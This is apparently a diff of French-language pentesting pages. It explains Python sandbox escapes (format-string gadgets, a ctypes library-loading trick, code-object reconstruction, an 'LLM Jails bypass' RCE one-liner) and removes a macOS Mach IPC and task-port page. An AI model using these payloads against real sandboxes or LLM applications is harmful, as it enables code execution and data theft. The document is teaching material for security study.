RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
"""
```
## Recherche récursive de Builtins, Globals...
## Recherche récursive de builtins, globals...
> [!WARNING]
> C'est juste **génial**. Si vous **cherchez un objet comme globals, builtins, open ou autre** utilisez simplement ce script pour **trouver récursivement les endroits où vous pouvez trouver cet objet.**
> C'est juste **génial**. Si vous êtes **à la recherche d'un objet comme globals, builtins, open ou n'importe quoi** utilisez simplement ce script pour **trouver récursivement des endroits où vous pouvez trouver cet objet.**
```python
import os, sys # Import these to find more gadgets
@ -691,16 +691,16 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
get_name_for_avatar(st, people_obj = people)
```
Notez comment vous pouvez **accéder aux attributs** de manière normale avec un **point** comme `people_obj.__init__` et un **élément de dict** avec des **crochets** sans guillemets `__globals__[CONFIG]`
Remarquez comment vous pouvez **accéder aux attributs** de manière normale avec un **point** comme `people_obj.__init__` et un **élément de dict** avec des **crochets** sans guillemets `__globals__[CONFIG]`
Remarquez aussi que vous pouvez utiliser `.__dict__` pour énumérer les éléments d'un objet `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
Notez aussi que vous pouvez utiliser `.__dict__` pour énumérer les éléments d'un objet `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
Quelques autres caractéristiques intéressantes des format strings sont la possibilité d'**exécuter** les **fonctions** **`str`**, **`repr`** et **`ascii`** sur l'objet indiqué en ajoutant **`!s`**, **`!r`**, **`!a`** respectivement :
Certaines autres caractéristiques intéressantes des format strings sont la possibilité d'exécuter les fonctions **`str`**, **`repr`** et **`ascii`** sur l'objet indiqué en ajoutant respectivement **`!s`**, **`!r`**, **`!a`** :
```python
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
get_name_for_avatar(st, people_obj = people)
```
De plus, il est possible de **code new formatters** dans des classes :
De plus, il est possible de **code new formatters** dans des classes:
```python
class HAL9000(object):
def __format__(self, format):
@ -711,10 +711,10 @@ return 'HAL 9000'
'{:open-the-pod-bay-doors}'.format(HAL9000())
#I'm afraid I can't do that.
```
**Plus d'exemples** sur les **format** **string** peuvent être trouvés sur [**https://pyformat.info/**](https://pyformat.info)
**Plus d'exemples** concernant les **format** **string** se trouvent sur [**https://pyformat.info/**](https://pyformat.info)
> [!CAUTION]
> Consultez également la page suivante pour des gadgets qui vont **lire des informations sensibles à partir des objets internes de Python** :
> Consultez aussi la page suivante pour des gadgets qui vont r**lire des informations sensibles depuis les objets internes de Python**:
{{#ref}}
@ -739,20 +739,20 @@ str(x) # Out: clueless
```
### LLM Jails bypass
Depuis [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`
From [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`
### Du format au RCE en chargeant des bibliothèques
### From format to RCE loading libraries
Selon [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) il est possible de charger des bibliothèques arbitraires depuis le disque en abusant de la vulnérabilité format string en python.
D'après la [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) il est possible de charger des bibliothèques arbitraires depuis le disque en abusant de la vulnérabilité format string en python.
Pour rappel, chaque fois qu'une action est effectuée en python, une fonction est exécutée. Par exemple `2*3` exécutera **`(2).mul(3)`** ou **`{'a':'b'}['a']`** exécutera **`{'a':'b'}.__getitem__('a')`**.
Pour rappel, à chaque fois qu'une action est effectuée en python, une fonction est exécutée. Par exemple `2*3` exécutera **`(2).mul(3)`** ou **`{'a':'b'}['a']`** sera **`{'a':'b'}.__getitem__('a')`**.
Vous en avez d'autres dans la section [**Python execution without calls**](#python-execution-without-calls).
Vous en trouverez d'autres comme celui-ci dans la section [**Python execution without calls**](#python-execution-without-calls).
Une vulnérabilité format string en python n'autorise pas l'exécution de fonctions (elle n'autorise pas l'utilisation de parenthèses), donc il n'est pas possible d'obtenir un RCE comme `'{0.system("/bin/sh")}'.format(os)`.\
Cependant, il est possible d'utiliser `[]`. Par conséquent, si une bibliothèque python courante possède une méthode **`__getitem__`** ou **`__getattr__`** qui exécute du code arbitraire, il est possible de les abuser pour obtenir un RCE.
Une vulnérabilité format string en python ne permet pas d'exécuter une fonction (elle n'autorise pas l'utilisation de parenthèses), donc il n'est pas possible d'obtenir un RCE comme `'{0.system("/bin/sh")}'.format(os)`.\
Cependant, il est possible d'utiliser `[]`. Ainsi, si une bibliothèque python courante possède une méthode **`__getitem__`** ou **`__getattr__`** qui exécute du code arbitraire, il est possible de les abuser pour obtenir un RCE.
En cherchant un gadget de ce type dans python, le writeup propose cette [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). C'est là qu'il a trouvé celle-ci [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
En cherchant un gadget de ce type dans python, le writeup propose cette [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). C'est là qu'il a trouvé celle-ci [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
```python
class LibraryLoader(object):
def __init__(self, dlltype):
@ -774,20 +774,20 @@ return getattr(self, name)
cdll = LibraryLoader(CDLL)
pydll = LibraryLoader(PyDLL)
```
Ce gadget permet de **charger une bibliothèque depuis le disque**. Par conséquent, il est nécessaire, d'une manière ou d'une autre, d'**écrire ou téléverser la bibliothèque à charger** correctement compilée sur le serveur attaqué.
Ce gadget permet de **charger une bibliothèque depuis le disque**. Par conséquent, il est nécessaire d'une manière ou d'une autre d'**écrire ou téléverser la bibliothèque à charger** correctement compilée sur le serveur attaqué.
```python
'{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'
```
Le challenge exploite en réalité une autre vulnérabilité du serveur qui permet de créer des fichiers arbitraires sur le disque du serveur.
Le challenge exploite en fait une autre vulnérabilité sur le serveur qui permet de créer des fichiers arbitraires sur le disque du serveur.
## Dissection des objets Python
> [!TIP]
> Si vous voulez **apprendre** en profondeur sur **python bytecode**, lisez cet **excellent** article sur le sujet : [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
> Si vous voulez **apprendre** en profondeur sur **python bytecode**, lisez ce **super** article sur le sujet : [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
Dans certains CTFs, on peut vous fournir le nom d'une **fonction personnalisée où se trouve le flag** et vous devez voir les **internes** de la **fonction** pour l'extraire.
Dans certains CTFs, il se peut qu'on vous fournisse le nom d'une **custom function where the flag** et vous devez examiner les **internals** de la **function** pour l'extraire.
Voici la fonction à inspecter:
Voici la fonction à inspecter :
```python
def get_flag(some_input):
var1=1
@ -807,7 +807,7 @@ dir(get_flag) #Get info tof the function
```
#### globals
`__globals__` and `func_globals`(Identique) Obtient l'environnement global. Dans l'exemple, vous pouvez voir quelques modules importés, quelques variables globales et leur contenu déclarés:
`__globals__` et `func_globals` (même) obtiennent l'environnement global. Dans l'exemple, vous pouvez voir certains modules importés, des variables globales et leur contenu déclaré :
```python
get_flag.func_globals
get_flag.__globals__
@ -880,7 +880,7 @@ get_flag.__code__.co_freevars
get_flag.__code__.co_code
'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S'
```
### **Désassembler une fonction**
### **Désassemblage d'une fonction**
```python
import dis
dis.dis(get_flag)
@ -908,7 +908,7 @@ dis.dis(get_flag)
44 LOAD_CONST 0 (None)
47 RETURN_VALUE
```
Remarquez que **si vous ne pouvez pas importer `dis` dans le python sandbox** vous pouvez obtenir le **bytecode** de la fonction (`get_flag.func_code.co_code`) et **le désassembler** localement. Vous ne verrez pas le contenu des variables chargées (`LOAD_CONST`) mais vous pouvez les deviner à partir de (`get_flag.func_code.co_consts`) parce que `LOAD_CONST` indique aussi l'offset de la variable chargée.
Remarquez que **si vous ne pouvez pas importer `dis` dans le python sandbox** vous pouvez obtenir le **bytecode** de la fonction (`get_flag.func_code.co_code`) et **la désassembler** localement. Vous ne verrez pas le contenu des variables chargées (`LOAD_CONST`) mais vous pouvez les deviner à partir de (`get_flag.func_code.co_consts`) car `LOAD_CONST` indique aussi l'offset de la variable chargée.
```python
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
0 LOAD_CONST 1 (1)
@ -932,8 +932,8 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
```
## Compilation de Python
Imaginons maintenant que, d'une manière ou d'une autre, vous pouvez **dump the information about a function that you cannot execute** mais que vous **devez** l'**exécuter**.\
Comme dans l'exemple suivant, vous **can access the code object** de cette function, mais rien qu'en lisant le disassemble vous **ne savez pas comment calculer le flag** (_imaginez une function `calc_flag` plus complexe_)
Maintenant, imaginons que, d'une manière ou d'une autre, vous puissiez **dump the information about a function that you cannot execute** mais que vous **avez besoin** de l'**exécuter**.\
Comme dans l'exemple suivant, vous **can access the code object** de cette fonction, mais rien qu'en lisant le disassemble vous **ne savez pas comment calculer le flag** (_imaginez une fonction `calc_flag` plus complexe_)
```python
def get_flag(some_input):
var1=1
@ -948,7 +948,7 @@ return "Nope"
```
### Création du code object
Tout d'abord, nous devons savoir **comment créer et exécuter un code object** afin de pouvoir en créer un pour exécuter notre fonction leaked:
Tout d'abord, nous devons savoir **comment créer et exécuter un code object** afin que nous puissions en créer un pour exécuter notre fonction leaked:
```python
code_type = type((lambda: None).__code__)
# Check the following hint if you get an error in calling this
@ -968,7 +968,7 @@ mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")
```
> [!TIP]
> Selon la version de python, les **paramètres** de `code_type` peuvent avoir un **ordre différent**. La meilleure façon de connaître l'ordre des paramètres dans la version de python que vous utilisez est d'exécuter :
> Selon la version de python, les **paramètres** de `code_type` peuvent avoir un **ordre différent**. La meilleure façon de connaître l'ordre des paramètres dans la version de python que vous exécutez est d'exécuter :
>
> ```
> import types
@ -979,7 +979,7 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
### Recréer une fonction leaked
> [!WARNING]
> Dans l'exemple suivant, nous allons prendre toutes les données nécessaires pour recréer la fonction directement à partir de l'objet code de la fonction. Dans un **vrai exemple**, toutes les **valeurs** nécessaires pour exécuter la fonction **`code_type`** sont ce que **vous devrez leak**.
> Dans l'exemple suivant, nous allons récupérer toutes les données nécessaires pour recréer la fonction directement à partir de l'objet code de la fonction. Dans un **exemple réel**, toutes les **valeurs** nécessaires pour exécuter la fonction **`code_type`** sont ce que **vous devrez leak**.
```python
fc = get_flag.__code__
# In a real situation the values like fc.co_argcount are the ones you need to leak
@ -990,9 +990,9 @@ mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")
#ThisIsTheFlag
```
### Contourner les défenses
### Bypass Defenses
Dans les exemples précédents au début de ce post, vous pouvez voir **comment exécuter n'importe quel code python en utilisant la fonction `compile`**. Ceci est intéressant car vous pouvez **exécuter des scripts entiers** avec des boucles et tout le reste en un **one liner** (et nous pourrions faire la même chose en utilisant **`exec`**).\
Dans les exemples précédents au début de cet article, vous pouvez voir **comment exécuter n'importe quel code python en utilisant la fonction `compile`**. C'est intéressant car vous pouvez **exécuter des scripts entiers** avec des boucles et tout dans un **one liner** (et nous pourrions faire la même chose en utilisant **`exec`**).\
Quoi qu'il en soit, il peut parfois être utile de **créer** un **objet compilé** sur une machine locale et de l'exécuter sur la **CTF machine** (par exemple parce que nous n'avons pas la fonction `compiled` dans la CTF).
Par exemple, compilons et exécutons manuellement une fonction qui lit _./poc.py_:
@ -1022,7 +1022,7 @@ mydict['__builtins__'] = __builtins__
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
function_type(codeobj, mydict, None, None, None)()
```
Si vous ne pouvez pas accéder à `eval` ou `exec`, vous pouvez créer une **fonction appropriée**, mais l'appeler directement échouera généralement avec : _constructeur non accessible en mode restreint_. Vous devez donc disposer d'une **fonction située en dehors de l'environnement restreint pour appeler cette fonction.**
Si vous ne pouvez pas accéder à `eval` ou `exec` vous pouvez créer une **fonction appropriée**, mais l'appeler directement échouera généralement avec : _constructor not accessible in restricted mode_. Vous avez donc besoin d'une **fonction hors de l'environnement restreint pour appeler cette fonction.**
```python
#Compile a regular print
ftype = type(lambda: None)
@ -1032,9 +1032,9 @@ f(42)
```
## Décompilation du code Python compilé
En utilisant des outils comme [**https://www.decompiler.com/**](https://www.decompiler.com) on peut **décompiler** un code python compilé donné.
En utilisant des outils comme [**https://www.decompiler.com/**](https://www.decompiler.com) on peut **décompiler** le code Python compilé fourni.
**Consultez ce tutoriel** :
**Consultez ce tutoriel**:
{{#ref}}
@ -1045,8 +1045,8 @@ En utilisant des outils comme [**https://www.decompiler.com/**](https://www.deco
### Assert
Python exécuté avec les optimisations via le paramètre `-O` supprimera les instructions assert et tout code conditionnel à la valeur de **debug**.\
Ainsi, des vérifications comme
Python exécuté avec des optimisations via le paramètre `-O` supprimera les instructions assert et tout code conditionnel à la valeur de **debug**.\
Par conséquent, des vérifications comme
```python
def check_permission(super_user):
try:
@ -1055,7 +1055,7 @@ print("\nYou are a super user\n")
except AssertionError:
print(f"\nNot a Super User!!!\n")
```
sera contourné
sera bypassed
## Références

View File

@ -1,835 +0,0 @@
# macOS IPC - Inter Process Communication
{{#include ../../../../banners/hacktricks-training.md}}
## Mach messaging via Ports
### Basic Information
Mach utilise des **tâches** comme la **plus petite unité** pour partager des ressources, et chaque tâche peut contenir **plusieurs threads**. Ces **tâches et threads sont mappés 1:1 aux processus et threads POSIX**.
La communication entre les tâches se fait via la communication inter-processus Mach (IPC), utilisant des canaux de communication unidirectionnels. **Les messages sont transférés entre les ports**, qui agissent comme des **queues de messages** gérées par le noyau.
Chaque processus a une **table IPC**, où il est possible de trouver les **ports mach du processus**. Le nom d'un port mach est en réalité un numéro (un pointeur vers l'objet noyau).
Un processus peut également envoyer un nom de port avec certains droits **à une tâche différente** et le noyau fera apparaître cette entrée dans la **table IPC de l'autre tâche**.
### Port Rights
Les droits de port, qui définissent quelles opérations une tâche peut effectuer, sont essentiels à cette communication. Les **droits de port** possibles sont ([définitions ici](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)) :
- **Droit de réception**, qui permet de recevoir des messages envoyés au port. Les ports Mach sont des queues MPSC (multiple-producer, single-consumer), ce qui signifie qu'il ne peut y avoir qu'un **droit de réception pour chaque port** dans tout le système (contrairement aux pipes, où plusieurs processus peuvent tous détenir des descripteurs de fichiers pour l'extrémité de lecture d'un pipe).
- Une **tâche avec le droit de réception** peut recevoir des messages et **créer des droits d'envoi**, lui permettant d'envoyer des messages. À l'origine, seule la **propre tâche a le droit de réception sur son port**.
- **Droit d'envoi**, qui permet d'envoyer des messages au port.
- Le droit d'envoi peut être **cloné**, de sorte qu'une tâche possédant un droit d'envoi peut cloner le droit et **l'accorder à une troisième tâche**.
- **Droit d'envoi unique**, qui permet d'envoyer un message au port et disparaît ensuite.
- **Droit de jeu de ports**, qui désigne un _jeu de ports_ plutôt qu'un port unique. Déqueuer un message d'un jeu de ports déqueu un message de l'un des ports qu'il contient. Les jeux de ports peuvent être utilisés pour écouter plusieurs ports simultanément, un peu comme `select`/`poll`/`epoll`/`kqueue` dans Unix.
- **Nom mort**, qui n'est pas un véritable droit de port, mais simplement un espace réservé. Lorsqu'un port est détruit, tous les droits de port existants pour le port se transforment en noms morts.
**Les tâches peuvent transférer des droits d'ENVOI à d'autres**, leur permettant d'envoyer des messages en retour. **Les droits d'ENVOI peuvent également être clonés, de sorte qu'une tâche puisse dupliquer et donner le droit à une troisième tâche**. Cela, combiné avec un processus intermédiaire connu sous le nom de **serveur de démarrage**, permet une communication efficace entre les tâches.
### File Ports
Les ports de fichiers permettent d'encapsuler des descripteurs de fichiers dans des ports Mac (en utilisant des droits de port Mach). Il est possible de créer un `fileport` à partir d'un FD donné en utilisant `fileport_makeport` et de créer un FD à partir d'un fileport en utilisant `fileport_makefd`.
### Establishing a communication
#### Steps:
Comme mentionné, pour établir le canal de communication, le **serveur de démarrage** (**launchd** sur Mac) est impliqué.
1. La tâche **A** initie un **nouveau port**, obtenant un **droit de réception** dans le processus.
2. La tâche **A**, étant le titulaire du droit de réception, **génère un droit d'envoi pour le port**.
3. La tâche **A** établit une **connexion** avec le **serveur de démarrage**, fournissant le **nom de service du port** et le **droit d'envoi** via une procédure connue sous le nom d'enregistrement de démarrage.
4. La tâche **B** interagit avec le **serveur de démarrage** pour exécuter une recherche de démarrage pour le nom de **service**. Si cela réussit, le **serveur duplique le droit d'envoi** reçu de la tâche A et **le transmet à la tâche B**.
5. Après avoir acquis un droit d'envoi, la tâche **B** est capable de **formuler** un **message** et de l'envoyer **à la tâche A**.
6. Pour une communication bidirectionnelle, la tâche **B** génère généralement un nouveau port avec un **droit de réception** et un **droit d'envoi**, et donne le **droit d'envoi à la tâche A** afin qu'elle puisse envoyer des messages à la tâche B (communication bidirectionnelle).
Le serveur de démarrage **ne peut pas authentifier** le nom de service revendiqué par une tâche. Cela signifie qu'une **tâche** pourrait potentiellement **se faire passer pour n'importe quelle tâche système**, comme en revendiquant faussement un nom de service d'autorisation et en approuvant ensuite chaque demande.
Ensuite, Apple stocke les **noms des services fournis par le système** dans des fichiers de configuration sécurisés, situés dans des répertoires **protégés par SIP** : `/System/Library/LaunchDaemons` et `/System/Library/LaunchAgents`. Avec chaque nom de service, le **binaire associé est également stocké**. Le serveur de démarrage créera et détiendra un **droit de réception pour chacun de ces noms de service**.
Pour ces services prédéfinis, le **processus de recherche diffère légèrement**. Lorsqu'un nom de service est recherché, launchd démarre le service dynamiquement. Le nouveau flux de travail est le suivant :
- La tâche **B** initie une recherche de démarrage pour un nom de service.
- **launchd** vérifie si la tâche est en cours d'exécution et si ce n'est pas le cas, **la démarre**.
- La tâche **A** (le service) effectue un **enregistrement de démarrage**. Ici, le **serveur de démarrage** crée un droit d'envoi, le conserve et **transfère le droit de réception à la tâche A**.
- launchd duplique le **droit d'envoi et l'envoie à la tâche B**.
- La tâche **B** génère un nouveau port avec un **droit de réception** et un **droit d'envoi**, et donne le **droit d'envoi à la tâche A** (le svc) afin qu'elle puisse envoyer des messages à la tâche B (communication bidirectionnelle).
Cependant, ce processus ne s'applique qu'aux tâches système prédéfinies. Les tâches non système fonctionnent toujours comme décrit à l'origine, ce qui pourrait potentiellement permettre l'usurpation.
### A Mach Message
[Find more info here](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
La fonction `mach_msg`, essentiellement un appel système, est utilisée pour envoyer et recevoir des messages Mach. La fonction nécessite que le message à envoyer soit le premier argument. Ce message doit commencer par une structure `mach_msg_header_t`, suivie du contenu réel du message. La structure est définie comme suit :
```c
typedef struct {
mach_msg_bits_t msgh_bits;
mach_msg_size_t msgh_size;
mach_port_t msgh_remote_port;
mach_port_t msgh_local_port;
mach_port_name_t msgh_voucher_port;
mach_msg_id_t msgh_id;
} mach_msg_header_t;
```
Les processus possédant un _**droit de réception**_ peuvent recevoir des messages sur un port Mach. En revanche, les **expéditeurs** se voient accorder un _**droit d'envoi**_ ou un _**droit d'envoi-unique**_. Le droit d'envoi-unique est exclusivement destiné à l'envoi d'un seul message, après quoi il devient invalide.
Pour réaliser une **communication bidirectionnelle** facile, un processus peut spécifier un **port mach** dans l'en-tête de message mach appelé le _port de réponse_ (**`msgh_local_port`**) où le **destinataire** du message peut **envoyer une réponse** à ce message. Les bits dans **`msgh_bits`** peuvent être utilisés pour **indiquer** qu'un **droit d'envoi-unique** doit être dérivé et transféré pour ce port (`MACH_MSG_TYPE_MAKE_SEND_ONCE`).
> [!TIP]
> Notez que ce type de communication bidirectionnelle est utilisé dans les messages XPC qui attendent une réponse (`xpc_connection_send_message_with_reply` et `xpc_connection_send_message_with_reply_sync`). Mais **généralement, différents ports sont créés** comme expliqué précédemment pour créer la communication bidirectionnelle.
Les autres champs de l'en-tête de message sont :
- `msgh_size` : la taille de l'ensemble du paquet.
- `msgh_remote_port` : le port sur lequel ce message est envoyé.
- `msgh_voucher_port` : [bons mach](https://robert.sesek.com/2023/6/mach_vouchers.html).
- `msgh_id` : l'ID de ce message, qui est interprété par le destinataire.
> [!CAUTION]
> Notez que **les messages mach sont envoyés sur un \_port mach**\_, qui est un canal de communication **à un seul récepteur**, **plusieurs expéditeurs** intégré dans le noyau mach. **Plusieurs processus** peuvent **envoyer des messages** à un port mach, mais à tout moment, **un seul processus peut lire** à partir de celui-ci.
### Énumérer les ports
```bash
lsmp -p <pid>
```
Vous pouvez installer cet outil sur iOS en le téléchargeant depuis [http://newosxbook.com/tools/binpack64-256.tar.gz](http://newosxbook.com/tools/binpack64-256.tar.gz)
### Exemple de code
Notez comment le **sender** **alloue** un port, crée un **send right** pour le nom `org.darlinghq.example` et l'envoie au **bootstrap server** pendant que le sender a demandé le **send right** de ce nom et l'a utilisé pour **envoyer un message**.
{{#tabs}}
{{#tab name="receiver.c"}}
```c
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc receiver.c -o receiver
#include <stdio.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>
int main() {
// Create a new port.
mach_port_t port;
kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
if (kr != KERN_SUCCESS) {
printf("mach_port_allocate() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_allocate() created port right name %d\n", port);
// Give us a send right to this port, in addition to the receive right.
kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
if (kr != KERN_SUCCESS) {
printf("mach_port_insert_right() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_insert_right() inserted a send right\n");
// Send the send right to the bootstrap server, so that it can be looked up by other processes.
kr = bootstrap_register(bootstrap_port, "org.darlinghq.example", port);
if (kr != KERN_SUCCESS) {
printf("bootstrap_register() failed with code 0x%x\n", kr);
return 1;
}
printf("bootstrap_register()'ed our port\n");
// Wait for a message.
struct {
mach_msg_header_t header;
char some_text[10];
int some_number;
mach_msg_trailer_t trailer;
} message;
kr = mach_msg(
&message.header, // Same as (mach_msg_header_t *) &message.
MACH_RCV_MSG, // Options. We're receiving a message.
0, // Size of the message being sent, if sending.
sizeof(message), // Size of the buffer for receiving.
port, // The port to receive a message on.
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL // Port for the kernel to send notifications about this message to.
);
if (kr != KERN_SUCCESS) {
printf("mach_msg() failed with code 0x%x\n", kr);
return 1;
}
printf("Got a message\n");
message.some_text[9] = 0;
printf("Text: %s, number: %d\n", message.some_text, message.some_number);
}
```
{{#endtab}}
{{#tab name="sender.c"}}
```c
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc sender.c -o sender
#include <stdio.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>
int main() {
// Lookup the receiver port using the bootstrap server.
mach_port_t port;
kern_return_t kr = bootstrap_look_up(bootstrap_port, "org.darlinghq.example", &port);
if (kr != KERN_SUCCESS) {
printf("bootstrap_look_up() failed with code 0x%x\n", kr);
return 1;
}
printf("bootstrap_look_up() returned port right name %d\n", port);
// Construct our message.
struct {
mach_msg_header_t header;
char some_text[10];
int some_number;
} message;
message.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
message.header.msgh_remote_port = port;
message.header.msgh_local_port = MACH_PORT_NULL;
strncpy(message.some_text, "Hello", sizeof(message.some_text));
message.some_number = 35;
// Send the message.
kr = mach_msg(
&message.header, // Same as (mach_msg_header_t *) &message.
MACH_SEND_MSG, // Options. We're sending a message.
sizeof(message), // Size of the message being sent.
0, // Size of the buffer for receiving.
MACH_PORT_NULL, // A port to receive a message on, if receiving.
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL // Port for the kernel to send notifications about this message to.
);
if (kr != KERN_SUCCESS) {
printf("mach_msg() failed with code 0x%x\n", kr);
return 1;
}
printf("Sent a message\n");
}
```
{{#endtab}}
{{#endtabs}}
### Ports privilégiés
- **Port hôte** : Si un processus a le privilège **Send** sur ce port, il peut obtenir des **informations** sur le **système** (par exemple, `host_processor_info`).
- **Port de privilège hôte** : Un processus avec le droit **Send** sur ce port peut effectuer des **actions privilégiées** comme charger une extension de noyau. Le **processus doit être root** pour obtenir cette permission.
- De plus, pour appeler l'API **`kext_request`**, il est nécessaire d'avoir d'autres droits **`com.apple.private.kext*`** qui ne sont accordés qu'aux binaires Apple.
- **Port de nom de tâche** : Une version non privilégiée du _port de tâche_. Il fait référence à la tâche, mais ne permet pas de la contrôler. La seule chose qui semble être disponible à travers lui est `task_info()`.
- **Port de tâche** (également connu sous le nom de port de noyau) : Avec la permission Send sur ce port, il est possible de contrôler la tâche (lire/écrire en mémoire, créer des threads...).
- Appelez `mach_task_self()` pour **obtenir le nom** de ce port pour la tâche appelante. Ce port est uniquement **hérité** lors de **`exec()`** ; une nouvelle tâche créée avec `fork()` obtient un nouveau port de tâche (dans un cas particulier, une tâche obtient également un nouveau port de tâche après `exec()` dans un binaire suid). La seule façon de créer une tâche et d'obtenir son port est d'effectuer la ["danse d'échange de port"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html) tout en effectuant un `fork()`.
- Voici les restrictions pour accéder au port (à partir de `macos_task_policy` du binaire `AppleMobileFileIntegrity`) :
- Si l'application a le droit **`com.apple.security.get-task-allow`**, les processus du **même utilisateur peuvent accéder au port de tâche** (généralement ajouté par Xcode pour le débogage). Le processus de **notarisation** ne le permettra pas pour les versions de production.
- Les applications avec le droit **`com.apple.system-task-ports`** peuvent obtenir le **port de tâche pour n'importe quel** processus, sauf le noyau. Dans les versions antérieures, il était appelé **`task_for_pid-allow`**. Cela n'est accordé qu'aux applications Apple.
- **Root peut accéder aux ports de tâche** des applications **non** compilées avec un runtime **durci** (et pas d'Apple).
### Injection de shellcode dans le thread via le port de tâche
Vous pouvez récupérer un shellcode à partir de :
{{#ref}}
../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}}
{{#tabs}}
{{#tab name="mysleep.m"}}
```objectivec
// clang -framework Foundation mysleep.m -o mysleep
// codesign --entitlements entitlements.plist -s - mysleep
#import <Foundation/Foundation.h>
double performMathOperations() {
